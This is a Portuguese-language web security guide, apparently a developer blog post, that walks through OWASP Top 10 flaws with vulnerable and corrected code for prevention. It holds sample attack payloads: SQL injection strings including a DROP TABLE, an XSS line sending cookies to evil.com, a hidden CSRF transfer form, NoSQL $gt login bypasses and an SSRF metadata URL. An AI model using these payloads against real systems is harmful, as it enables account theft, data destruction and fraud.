Segurança em Aplicações Web: as vulnerabilidades mais críticas e como prevenir cada uma

Entenda as principais vulnerabilidades de aplicações web além do OWASP Top 10, com exemplos de código, técnicas de prevenção e como construir desenvolvimento seguro.

Sumário

Em 2021, pesquisadores descobriram que o site de votação online de um município europeu permitia que qualquer usuário modificasse os votos de outros simplesmente alterando um parâmetro na URL: ?voter_id=1234 tornava-se ?voter_id=5678, e o sistema retornava o registro completo do outro votante — sem qualquer verificação de autorização. O sistema autenticava os usuários corretamente. Apenas esqueceu de verificar se cada usuário tinha permissão para acessar os dados que solicitava.

No mesmo ano, um pesquisador de bug bounty encontrou uma vulnerabilidade de SQL injection em um portal bancário que permitia extrair a base inteira de dados de clientes com uma única requisição. O campo de busca aceitava entrada diretamente em uma query SQL sem parametrização — uma vulnerabilidade documentada há mais de duas décadas, com prevenção conhecida e trivial de implementar.

Esses dois casos capturam a natureza frustrante da segurança em aplicações web: as vulnerabilidades mais prevalentes não são ataques sofisticados de zero-day. São erros fundamentais de design e implementação que aparecem em relatórios de segurança há décadas, têm prevenção bem documentada, e continuam aparecendo em produção porque a pressão por entrega frequentemente supera a atenção à segurança durante o desenvolvimento.

O OWASP (Open Web Application Security Project) publica e atualiza o Top 10 — a lista das vulnerabilidades mais críticas em aplicações web — com base em dados reais de incidentes e análises de milhares de aplicações. A lista de 2021 inclui Broken Access Control (o problema do município europeu), Injection (o problema do banco), Cryptographic Failures, Security Misconfiguration, e outros. A maioria dessas categorias aparece em versões anteriores do Top 10 com nomes ligeiramente diferentes.

Neste artigo, você vai entender as vulnerabilidades mais críticas em aplicações web com exemplos de código real (do vulnerável ao correto), as técnicas de prevenção específicas para cada categoria, como estruturar um ciclo de desenvolvimento que incorpora segurança de forma sistemática, quais ferramentas automatizam a detecção, e como o panorama está evoluindo com IA e cloud-native security. Se você desenvolve, arquiteta ou audita aplicações web, este guia tem o que você precisa.

As vulnerabilidades mais críticas em aplicações web

SQL Injection: o clássico que não foi embora

SQL injection ocorre quando entrada do usuário é concatenada diretamente em uma query SQL, permitindo que um atacante modifique a estrutura da query. A vulnerabilidade existe desde que bancos de dados relacionais apareceram em aplicações web — e persiste porque concatenar strings parece a forma mais simples de construir queries dinâmicas.

O código vulnerável:

# Python — VULNERÁVEL

def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"

    return db.execute(query)

# Se username = "admin' OR '1'='1" a query se torna:
# SELECT * FROM users WHERE username = 'admin' OR '1'='1'
# Retorna todos os usuários
# Se username = "'; DROP TABLE users; --" a query executa:
# SELECT * FROM users WHERE username = ''; DROP TABLE users; --'
# Deleta a tabela

A correção — queries parametrizadas:

# Python — CORRETO
def get_user(username):
    query = "SELECT * FROM users WHERE username = %s"

    return db.execute(query, (username,))  # username é parâmetro, não parte da query


# Com SQLAlchemy ORM — automaticamente seguro
def get_user(username):

    return db.session.query(User).filter(User.username == username).first()

Queries parametrizadas (também chamadas de prepared statements) funcionam porque o banco de dados recebe a estrutura da query e os dados separadamente — o banco sabe que o segundo argumento é um valor de dado, não SQL a executar. Qualquer tentativa de injeção de SQL no parâmetro vira literalmente um valor de string.

SQL injection cego (blind injection) não retorna dados diretamente mas permite inferir informações através de comportamentos do sistema: uma query que retorna resultados diferentes dependendo se uma condição é verdadeira ou falsa permite enumerar dados byte a byte. Ferramentas como sqlmap automatizam esse processo para encontrar e explorar vulnerabilidades.

Injection além de SQL: a categoria de injection se estende a qualquer contexto onde entrada do usuário é interpretada como comando — LDAP injection, NoSQL injection (MongoDB aceita objetos JSON como queries; { “$gt”: “” } como senha bypassa autenticação em implementações ingênuas), OS command injection (Python subprocess com shell=True e input do usuário), e XML/XPATH injection.

Cross-Site Scripting (XSS): atacando os usuários da aplicação

XSS injeta scripts maliciosos em páginas web que outros usuários visualizam. Diferente de SQL injection que compromete o servidor, XSS compromete os usuários — executando JavaScript no browser da vítima sob o contexto de origem da aplicação legítima.

Reflected XSS — o payload vem de uma requisição e aparece imediatamente na resposta, frequentemente via URL. A vítima precisa clicar em um link especialmente construído.

Stored XSS — o payload fica armazenado no servidor (em banco de dados, arquivo, etc.) e executa no browser de qualquer usuário que carrega o conteúdo contaminado. É mais perigoso porque não exige que a vítima clique em link malicioso.

DOM-based XSS — o payload nunca chega ao servidor; manipula o DOM diretamente via JavaScript no cliente. Ocorre quando JavaScript usa document.location, document.referrer ou outras fontes de input do usuário para escrever no DOM sem sanitização.

// VULNERÁVEL — reflete input do usuário sem sanitização
app.get('/search', (req, res) => {
  const query = req.query.q;

  res.send(`<h1>Resultados para: ${query}</h1>`);
  // Se q = "<script>document.location='https://evil.com/steal?c='+document.cookie</script>"
  // O script executa no browser de qualquer usuário que visite esta URL
});

// CORRETO — escape de output
const escapeHtml = require('escape-html');

app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Resultados para: ${escapeHtml(query)}</h1>`);

  // <script> vira <script> — texto literal, não HTML executável
});

A prevenção de XSS requer output encoding contextual — a forma de escapar depende de onde o dado é inserido:

  • HTML context — escape <, >, &, “, ‘ para entidades HTML
  • JavaScript context — escape caracteres que terminam strings JS; melhor evitar inserção direta de dados no JS
  • CSS context — não inserir dados de usuário em CSS sem validação rigorosa
  • URL context — URL-encode parâmetros; validar que URLs têm protocolo esperado

Content Security Policy (CSP) adiciona uma camada de defesa além do output encoding: instrui o browser de quais fontes pode carregar scripts, estilos e outros recursos. Um CSP bem configurado impede que scripts XSS executem mesmo se chegarem ao HTML:

Content-Security-Policy: default-src 'self'; 
  script-src 'self' 'nonce-{random}'; 
  style-src 'self'; 
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none'

Broken Access Control: a vulnerabilidade número 1 do OWASP 2021

O OWASP moveu Broken Access Control para o topo da lista em 2021 — acima de SQL injection e XSS — porque aparece em 94% das aplicações testadas e frequentemente tem impacto devastador.

IDOR (Insecure Direct Object Reference) é o padrão mais comum: a aplicação usa identificadores de objetos controláveis pelo usuário sem verificar se aquele usuário tem permissão para acessar aquele objeto específico.

# VULNERÁVEL — qualquer usuário autenticado pode ver pedidos de qualquer outro
@app.route('/orders/<int:order_id>')
@require_auth
def get_order(order_id):
    order = Order.query.get_or_404(order_id)

    return jsonify(order.to_dict())

# CORRETO — verifica que o pedido pertence ao usuário autenticado
@app.route('/orders/<int:order_id>')
@require_auth
def get_order(order_id):
    order = Order.query.filter_by(
        id=order_id,
        user_id=current_user.id  # Filtra pelo usuário atual
    ).first_or_404()

    return jsonify(order.to_dict())

Escalação de privilégios vertical — um usuário comum acessa funcionalidades de administrador:

# VULNERÁVEL — qualquer usuário autenticado pode acessar funções de admin
@app.route('/admin/users')
@require_auth
def list_users():

    return jsonify([u.to_dict() for u in User.query.all()])

# CORRETO — verifica papel além de autenticação
@app.route('/admin/users')
@require_auth
@require_role('admin'# Decorador que verifica o papel do usuário
def list_users():

    return jsonify([u.to_dict() for u in User.query.all()])

Broken access control em métodos HTTP — a aplicação restringe GET mas não PUT/DELETE no mesmo endpoint:

# VULNERÁVEL — GET está protegido, mas DELETE não verifica permissão
@app.route('/documents/<int:doc_id>', methods=['GET', 'DELETE'])
@require_auth

def document(doc_id):
    if request.method == 'GET':
        doc = Document.query.filter_by(id=doc_id, owner_id=current_user.id).first_or_404()

        return jsonify(doc.to_dict())

    elif request.method == 'DELETE':
        doc = Document.query.get_or_404(doc_id)  # Não verifica o dono!
        db.session.delete(doc)
        db.session.commit()
        
        return '', 204

💡 Dica: A defesa mais sistemática contra Broken Access Control é implementar uma camada de autorização centralizada — não verificações espalhadas pelo código. Bibliotecas como OPA (Open Policy Agent), CASL (JavaScript), ou Pundit (Ruby) implementam autorização como políticas declarativas separadas da lógica de negócio, tornando a cobertura auditável e as verificações consistentes.

Cross-Site Request Forgery (CSRF): usando a sessão do usuário contra ele

CSRF força um usuário autenticado a executar ações não intencionais em uma aplicação onde está logado. O ataque explora que browsers enviam cookies automaticamente em toda requisição para um domínio — incluindo requisições originadas de outras origens.

O cenário clássico:

  1. Usuário está logado no banco online com cookie de sessão válido
  2. Usuário visita uma página maliciosa em outra aba
  3. A página maliciosa contém um formulário oculto:
<!-- Página maliciosa — oculta para o usuário -->

<form id="csrf-form" action="https://banco.com/transferir" method="POST">
  <input type="hidden" name="destino" value="conta-do-atacante">
  <input type="hidden" name="valor" value="5000">
</form>

<script>document.getElementById('csrf-form').submit();</script>
  1. O browser envia automaticamente o cookie de sessão do banco na requisição POST
  2. O banco processa a transferência como se o usuário tivesse autorizado

Prevenção com CSRF tokens:

# Flask com CSRF protection via Flask-WTF
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)

# O template inclui o token automaticamente
# <form method="POST">
#   {{ csrf_token() }}
#   ...
# </form>
# Para APIs, o token vai no header
# X-CSRFToken: <token>

SameSite cookies oferecem proteção adicional sem exigir tokens explícitos: o atributo SameSite instrui o browser a não enviar o cookie em requisições cross-site.

# Flask — configurar cookies com SameSite
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True  # Apenas HTTPS

SameSite=Strict não envia o cookie em nenhuma requisição cross-site, incluindo navegação normal (clicar em um link para o site de outro site). SameSite=Lax (padrão nos browsers modernos) permite navegação normal mas bloqueia requisições cross-site de formulários e JavaScript — proteção adequada para a maioria dos casos de uso.

Falhas Criptográficas: protegendo dados em trânsito e em repouso

O OWASP renomeou “Sensitive Data Exposure” para “Cryptographic Failures” em 2021 para enfatizar que o problema raiz é criptografia ausente ou inadequada — não simplesmente a exposição de dados.

Senhas com hashing inadequado

# VULNERÁVEL — MD5 é trivialmente quebrável por rainbow tables
import hashlib

password_hash = hashlib.md5(password.encode()).hexdigest()

# VULNERÁVEL — SHA-256 sem salt é vulnerável a rainbow tables
password_hash = hashlib.sha256(password.encode()).hexdigest()


# CORRETO — bcrypt com work factor adequado
import bcrypt

password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

# CORRETO — Argon2 (vencedor do Password Hashing Competition)
from argon2 import PasswordHasher

ph = PasswordHasher(time_cost=2, memory_cost=65536, parallelism=2)
password_hash = ph.hash(password)

O problema de MD5 e SHA-256 para senhas não é apenas que são “fracos” — é que são rápidos. GPUs modernas testam bilhões de hashes SHA-256 por segundo; com rainbow tables pré-computadas, a reversão é ainda mais rápida. Bcrypt, scrypt, Argon2 e PBKDF2 são deliberadamente lentos e usam memória — tornando ataques de força bruta proibitivamente caros.

Transmissão sem TLS:

# CORRETO — forçar HTTPS e configurar headers de segurança
from flask_talisman import Talisman

talisman = Talisman(
    app,
    force_https=True,
    strict_transport_security=True,
    strict_transport_security_max_age=31536000,
    strict_transport_security_include_subdomains=True,
    content_security_policy={
        'default-src': "'self'",
        'script-src': "'self'",
        'style-src': "'self'"
    }
)

Dados sensíveis em logs — um erro menos óbvio mas crítico:

# VULNERÁVEL — dados sensíveis no log
logger.info(f"Payment processed for card {card_number}, CVV {cvv}")

# CORRETO — mascarar dados sensíveis
logger.info(f"Payment processed for card ****{card_number[-4:]}")

⚠️ Atenção: Criptografia implementada “manualmente” é quase sempre insegura. Não construa seus próprios algoritmos de criptografia ou protocolos criptográficos — use bibliotecas estabelecidas (cryptography em Python, libsodium para múltiplas linguagens). A criptografia aplicada tem armadilhas sutis — IVs reutilizados em AES-CBC, padding oracles, timing attacks em comparações de strings — que só especialistas em criptografia evitam sistematicamente.

Security Misconfiguration: a superfície de ataque da configuração

Security Misconfiguration cobre um espectro amplo de problemas que não são bugs no código mas na configuração dos componentes que a aplicação usa.

Headers HTTP de segurança ausentes:

# nginx — headers de segurança
server {
    # Previne clickjacking
    add_header X-Frame-Options "SAMEORIGIN" always;

    # Previne MIME type sniffing
    add_header X-Content-Type-Options "nosniff" always;

    # Política de referrer
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Permissions Policy — desabilita recursos não utilizados
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;

    # Content Security Policy
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;

    # Remove header que revela tecnologia
    server_tokens off;  # Não expõe versão do nginx
}

Mensagens de erro verbosas em produção:

# VULNERÁVEL — stack trace completo exposto ao usuário
@app.errorhandler(500)
def internal_error(error):
    return str(error), 500  # Revela detalhes de implementação ao atacante

# CORRETO — erro genérico para o usuário, log completo internamente
@app.errorhandler(500)
def internal_error(error):

    logger.error(f"Internal error: {error}", exc_info=True# Log completo
    return jsonify({"error": "Internal server error"}), 500  # Genérico ao usuário

Diretórios e arquivos sensíveis expostos:

# nginx — bloquear acesso a arquivos sensíveis
location ~ /\. {
    deny all;  # Bloqueia acesso a arquivos .git, .env, etc.
}

location ~ \.(env|config|log|sql|bak)$ {
    deny all;  # Bloqueia extensões sensíveis
}

Permissões de banco de dados excessivas:

-- VULNERÁVEL — a aplicação usa o usuário root do banco
-- Qualquer SQL injection tem poder total sobre o banco
-- CORRETO — usuário com permissões mínimas

CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'senha-forte';
GRANT SELECT, INSERT, UPDATE, DELETE ON app_db.* TO 'app_user'@'localhost';

-- Sem DROP, sem CREATE, sem GRANT — limita o impacto de injection

Server-Side Request Forgery (SSRF): redirecionando o servidor para destinos internos

SSRF ocorre quando uma aplicação aceita URLs como entrada e faz requisições para essas URLs do servidor, sem validar se o destino é legítimo. O ataque redireciona o servidor para acessar recursos internos que deveriam ser inacessíveis externamente.

# VULNERÁVEL — aceita qualquer URL e faz requisição do servidor
@app.route('/fetch-url')
def fetch_url():

    url = request.args.get('url')
    response = requests.get(url)  # Pode ser http://169.254.169.254/latest/meta-data/
    return response.text



# CORRETO — allowlist estrita de hosts permitidos
import ipaddress
import socket
from urllib.parse import urlparse

ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com'}

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)

    if parsed.scheme not in ('http', 'https'):
        return False

    if parsed.hostname not in ALLOWED_HOSTS:
        return False

    # Verifica se o hostname não resolve para IP privado
    try:
        ip = socket.gethostbyname(parsed.hostname)
        addr = ipaddress.ip_address(ip)

        if addr.is_private or addr.is_loopback or addr.is_link_local:
            return False

    except socket.gaierror:

        return False
    return True

@app.route('/fetch-url')
def fetch_url():

    url = request.args.get('url')

    if not is_safe_url(url):
        return jsonify({'error': 'URL não permitida'}), 403

    response = requests.get(url)
    return response.text

O SSRF foi o vetor que levou ao comprometimento da Capital One em 2019 — um WAF mal configurado com permissões de role AWS excessivas foi explorado via SSRF para acessar os metadados de instância EC2 e obter credenciais temporárias da AWS, expondo dados de 100 milhões de clientes.

Autenticação e gerenciamento de sessão: os fundamentos que determinam a identidade

Implementação segura de autenticação

Autenticação insegura aparece em mais formas do que a óbvia “senha fraca”. A lista de problemas documentados pelo OWASP nessa categoria inclui:

Ausência de proteção contra força bruta:

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute"# Máximo 5 tentativas por IP por minuto

def login():
    username = request.json.get('username')
    password = request.json.get('password')
    user = User.query.filter_by(username=username).first()

    # Usar comparação constante para prevenir timing attacks
    if not user or not bcrypt.checkpw(password.encode(), user.password_hash):

        # Não revelar se o username existe ou a senha está errada
        return jsonify({'error': 'Credenciais inválidas'}), 401

    # Criar sessão após autenticação bem-sucedida
    session['user_id'] = user.id
    return jsonify({'message': 'Login bem-sucedido'})

Tokens de sessão previsíveis — tokens de sessão precisam de entropia criptograficamente segura:

import secrets

# VULNERÁVEL — ID previsível baseado em timestamp
session_id = str(int(time.time()))

# CORRETO — token com entropia criptográfica adequada
session_id = secrets.token_urlsafe(32# 256 bits de entropia

Sessão não invalidada no logout:

# CORRETO — invalidar sessão completamente no logout
@app.route('/logout', methods=['POST'])
@require_auth

def logout():

    # Invalidar o token no servidor (denylist ou invalidar na DB)
    token_denylist.add(get_current_token())

    # Limpar cookie com configurações que previnem reutilização
    response = make_response(jsonify({'message': 'Logout bem-sucedido'}))
    response.set_cookie(
        'session',
        '',
        expires=0,
        secure=True,
        httponly=True,
        samesite='Strict'
    )

    return response

Autenticação Multifator (MFA): a segunda camada que muda o cenário

MFA adiciona um fator de verificação além da senha. A Microsoft estima que MFA bloqueia 99,9% dos ataques de comprometimento de conta automatizados.

import pyotp  # Para TOTP (Google Authenticator, Authy)

# Gerar secret para o usuário
def generate_mfa_secret(user):
    secret = pyotp.random_base32()
    user.mfa_secret = secret
    db.session.commit()

    # Gerar QR code para o usuário escanear
    totp = pyotp.TOTP(secret)
    provisioning_uri = totp.provisioning_uri(
        name=user.email,
        issuer_name="MeuApp"
    )

    return provisioning_uri

# Verificar código TOTP durante login
def verify_totp(user, code):
    totp = pyotp.TOTP(user.mfa_secret)

    # valid_window=1 aceita o código do intervalo anterior e seguinte
    # para compensar small clock drift
    return totp.verify(code, valid_window=1)

A hierarquia de segurança entre tipos de MFA:

  1. Passkeys / FIDO2 / WebAuthn — mais seguro: verificação criptográfica vinculada ao domínio específico; imune a phishing
  2. TOTP (Google Authenticator, Authy) — bom: baseado em tempo, dificulta ataques automatizados; vulnerável a phishing em tempo real
  3. Push notification — conveniente; vulnerável a MFA fatigue attacks (atacante envia múltiplas notificações esperando o usuário aceitar por engano)
  4. SMS — o mais fraco dos mecanismos MFA: vulnerável a SIM swapping e intercepção

Validação e sanitização de entrada: a barreira universal

A validação de entrada é o controle de segurança que mais consistentemente previne classes inteiras de vulnerabilidades. Qualquer dado que chega à aplicação de fontes externas — parâmetros de query, body de requisição, headers, cookies, uploads de arquivo — deve ser validado antes de ser processado.

Schema Validation como primeira linha de defesa

from pydantic import BaseModel, EmailStr, constr, validator
from typing import Optional

class CreateProductRequest(BaseModel):
    name: constr(min_length=1, max_length=200, strip_whitespace=True)
    price: float
    description: Optional[constr(max_length=2000)] = None
    category_id: int

    @validator('price')
    def price_must_be_positive(cls, v):

        if v <= 0:
            raise ValueError('Preço deve ser positivo')
        return round(v, 2# Normaliza para 2 casas decimais

    @validator('category_id')
    def category_must_exist(cls, v):

        if not Category.query.get(v):
            raise ValueError('Categoria não encontrada')
        return v

# FastAPI usa Pydantic automaticamente — validação antes do handler
@app.post('/products')
async def create_product(request: CreateProductRequest):

    # Se chegou aqui, a entrada já foi validada
    product = Product(**request.dict())
    db.session.add(product)
    db.session.commit()
    return product

Validação de upload de arquivos

Uploads de arquivo são um vetor de ataque frequente — um arquivo malicioso nomeado como image.jpg que é na verdade um script PHP pode comprometer o servidor se for executável.

import magic  # python-magic para MIME detection real
import os
from werkzeug.utils import secure_filename

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'webp'}
ALLOWED_MIME_TYPES = {'image/png', 'image/jpeg', 'image/gif', 'image/webp'}
MAX_FILE_SIZE = 5 * 1024 * 1024  # 5MB

def validate_image_upload(file) -> tuple[bool, str]:

    # Verificar extensão
    filename = secure_filename(file.filename)

    if '.' not in filename:
        return False, "Arquivo sem extensão"

    ext = filename.rsplit('.', 1)[1].lower()

    if ext not in ALLOWED_EXTENSIONS:
        return False, f"Extensão não permitida: {ext}"

    # Ler os primeiros bytes para verificar magic bytes reais
    # (não confiar apenas na extensão ou no Content-Type do cliente)
    file_bytes = file.read(1024)

    file.seek(0# Voltar ao início para upload completo

    mime = magic.from_buffer(file_bytes, mime=True)

    if mime not in ALLOWED_MIME_TYPES:
        return False, f"Tipo de arquivo não permitido: {mime}"

    # Verificar tamanho
    file.seek(0, os.SEEK_END)

    size = file.tell()

    file.seek(0)

    if size > MAX_FILE_SIZE:
        return False, "Arquivo muito grande (máximo 5MB)"
    return True, filename

@app.route('/upload', methods=['POST'])
@require_auth
def upload_image():
    if 'file' not in request.files:
        return jsonify({'error': 'Nenhum arquivo enviado'}), 400

    file = request.files['file']
    
    valid, result = validate_image_upload(file)

    if not valid:
        return jsonify({'error': result}), 400

    # Salvar com nome seguro e fora do webroot
    safe_name = f"{secrets.token_hex(16)}.{result.rsplit('.', 1)[1]}"

    file.save(os.path.join(UPLOAD_FOLDER, safe_name))

    return jsonify({'filename': safe_name})

Security Headers

Headers HTTP de segurança são controles defensivos que o servidor pode configurar para instruir o browser a adotar comportamentos mais seguros. Cada header tem uma função específica:

HeaderProtege contraValor recomendado
Strict-Transport-SecuritySSL stripping, downgrademax-age=63072000; includeSubDomains; preload
Content-Security-PolicyXSS, injection via recursos externosConfiguração específica por aplicação
X-Frame-OptionsClickjackingSAMEORIGIN
X-Content-Type-OptionsMIME sniffingnosniff
Referrer-PolicyVazamento de URLs em Refererstrict-origin-when-cross-origin
Permissions-PolicyAbuso de APIs do browsercamera=(), microphone=(), geolocation=()
# Flask — configurar todos os security headers
from flask import Flask
from flask_talisman import Talisman

app = Flask(__name__)

csp = {
    'default-src': "'self'",
    'script-src': ["'self'", "'nonce-{nonce}'"],  # Nonce por requisição
    'style-src': "'self'",
    'img-src': ["'self'", 'data:', 'https://cdn.example.com'],
    'font-src': "'self'",
    'connect-src': "'self'",
    'frame-ancestors': "'none'",
    'object-src': "'none'",
    'base-uri': "'self'"
}

Talisman(
    app,
    force_https=True,
    strict_transport_security=True,
    strict_transport_security_max_age=63072000,
    content_security_policy=csp,
    referrer_policy='strict-origin-when-cross-origin',
    feature_policy={
        'camera': '()',
        'microphone': '()',
        'geolocation': '()'
    }
)

Ferramentas para detectar vulnerabilidades em aplicações web

SAST — análise estática antes do deploy

Semgrep com rulesets de segurança analisa código-fonte em busca de padrões vulneráveis — queries SQL concatenadas, uso de funções inseguras, falta de escape em output:

# Rodar Semgrep com regras do OWASP Top 10
semgrep --config "p/owasp-top-ten" --config "p/python" src/

# Verificar específicamente por SQL injection e XSS
semgrep --config "p/sql-injection" --config "p/xss" src/

Bandit (Python-específico) analisa código Python por problemas de segurança:

pip install bandit
bandit -r src/ -ll  # -ll: apenas medium e high severity

DAST — teste dinâmico contra a aplicação em execução

OWASP ZAP faz fuzzing automatizado contra uma instância em execução, testando injeções, XSS, configurações incorretas e outros problemas de segurança:

# ZAP Baseline Scan — rápido, adequado para CI/CD
docker run -t owasp/zap2docker-stable zap-baseline.py \
  -t https://staging.example.com \
  -r zap-report.html

# ZAP Full Scan — mais abrangente, para ambientes de staging
docker run -t owasp/zap2docker-stable zap-full-scan.py \
  -t https://staging.example.com \
  -r zap-full-report.html

Nuclei com templates de segurança testa por vulnerabilidades conhecidas, exposição de arquivos sensíveis, e misconfigurações:

# Scan com templates focados em vulnerabilidades web
nuclei -u https://target.com -t vulnerabilities/ -t exposures/

Dependency Scanning

# Python — verificar dependências com CVEs conhecidos
pip install safety
safety check

# Node.js — npm audit integrado
npm audit
npm audit fix  # Aplica correções automáticas quando possível

# Multi-linguagem — Snyk
snyk test
snyk monitor  # Monitoramento contínuo de novas vulnerabilidades

Perguntas frequentes sobre Segurança em Aplicações Web

Qual a diferença entre autenticação e autorização, e por que ambas precisam de atenção?


Autenticação verifica a identidade — “quem é você?”. Autorização verifica permissão — “você pode fazer isso?”. Uma aplicação pode ter autenticação perfeita mas autorização quebrada: o usuário prova que é Maria, mas o sistema não verifica se Maria pode acessar os dados de João. O Broken Access Control sendo a vulnerabilidade número 1 do OWASP 2021 reflete exatamente esse problema — autenticação geralmente recebe mais atenção de desenvolvimento do que autorização, mas brechas de autorização frequentemente têm impacto maior.

SQL injection está sendo substituído por NoSQL injection à medida que aplicações migram para MongoDB e similares?


NoSQL injection é real e subestimado, mas diferente de SQL injection. MongoDB aceita objetos JSON como queries — se uma aplicação passa input do usuário diretamente como objeto de query, o atacante pode injetar operadores MongoDB. { “username”: { “$gt”: “” }, “password”: { “$gt”: “” } } como body de login bypassa autenticação em implementações ingênuas porque $gt: “” (maior que string vazia) é verdadeiro para qualquer valor. A prevenção é similar: validar o tipo e estrutura da entrada antes de usá-la como query, e nunca misturar dados do usuário com operadores de banco de dados sem separação clara.

CSP quebra muitas aplicações existentes. Como adotar sem causar problemas?


CSP tem um modo de relatório antes de enforcement. Content-Security-Policy-Report-Only aplica a política sem bloquear nada, apenas reportando violações para um endpoint de coleção. Isso permite auditar o que seria bloqueado antes de ativar a política real. O processo gradual: (1) Report-Only com política restritiva, (2) analisar relatórios por 1-2 semanas, (3) ajustar a política para acomodar recursos legítimos, (4) migrar para Content-Security-Policy efetivo. Scripts inline e eval() são os maiores obstáculos — refatorar para scripts externos com nonces ou hashes é o caminho mais seguro.

Como equilibrar a validação de entrada com experiência do usuário — validações muito restritivas frustram usuários legítimos?


A distinção entre validação de segurança e validação de UX ajuda: validação de segurança protege a aplicação de dados maliciosos (nunca sacrificável por UX), validação de formato orienta usuários a fornecer dados corretos (pode ser mais permissiva com mensagens claras). Para campos de texto, a abordagem mais defensável é aceitar caracteres Unicode amplos mas aplicar output encoding rigoroso ao exibir — não filtrar o que o usuário escreve, mas garantir que o que é exibido é seguro. Para campos com formato específico (CPF, CNPJ, datas), validar o formato com expressão regular clara e feedback imediato ao usuário. Nunca desabilitar validação de segurança por razões de UX — melhore a UX da validação.

Pentesting anual é suficiente ou preciso de algo mais frequente?


Para aplicações que mudam frequentemente — e a maioria das aplicações web modernas com deploy contínuo muda diariamente — pentest anual testa um snapshot de uma aplicação que já é diferente no dia seguinte. A abordagem mais eficaz combina: SAST e DAST automáticos em cada pipeline CI/CD (cobertura contínua de vulnerabilidades conhecidas), SCA contínuo para dependências com CVEs, e pentest manual por especialistas com frequência proporcional ao risco — trimestral para aplicações críticas, semestral para as demais. Pentests manuais encontram vulnerabilidades de lógica de negócio e caminhos de ataque complexos que automação não detecta; automação garante que vulnerabilidades conhecidas são detectadas sem depender de ciclos de pentest.

Segurança de Aplicações Web como disciplina de engenharia

Ao longo deste artigo, segurança em aplicações web revelou-se exatamente o que é: uma disciplina de engenharia com princípios claros, padrões documentados, e ferramentas que automatizam grande parte da detecção. As vulnerabilidades mais comuns — SQL injection, XSS, Broken Access Control — têm prevenção conhecida e bem documentada há décadas. A razão pela qual continuam aparecendo é priorização, não ignorância técnica.

O OWASP Top 10 existe precisamente para criar accountability: qualquer aplicação que sofre SQL injection em 2025 poderia ter prevenido com queries parametrizadas — uma mudança de 5 linhas de código. Qualquer aplicação com Broken Access Control que expõe dados de outros usuários precisava de uma linha adicional de verificação em cada endpoint.

Os três pilares que definem aplicações web seguras são sempre os mesmos: validação rigorosa de toda entrada (todo dado externo é suspeito até prova em contrário), princípio do menor privilégio em toda autorização (cada usuário acessa apenas o que precisa, verificado em cada requisição), e output encoding contextual (dados exibidos são escapados de acordo com o contexto em que aparecem).

Automação via SAST, DAST e dependency scanning detecta a maioria dessas classes de vulnerabilidade em cada build — sem depender de revisão manual que falha sob pressão de entrega. Shift left — detectar durante o desenvolvimento em vez de em produção — comprime dramaticamente o custo de correção.

A segurança não compete com a velocidade de desenvolvimento quando integrada de forma correta. Compete apenas quando é tratada como checklist de última hora.

👉 Compartilhe este artigo com desenvolvedores, tech leads e times de produto — pode ser a referência que transforma boas intenções de segurança em implementações concretas que previnem vulnerabilidades antes de chegarem à produção.

Deixe um comentário

Conectado como Dev do Futuro. Edite seu perfil. Sair? Campos obrigatórios são marcados com *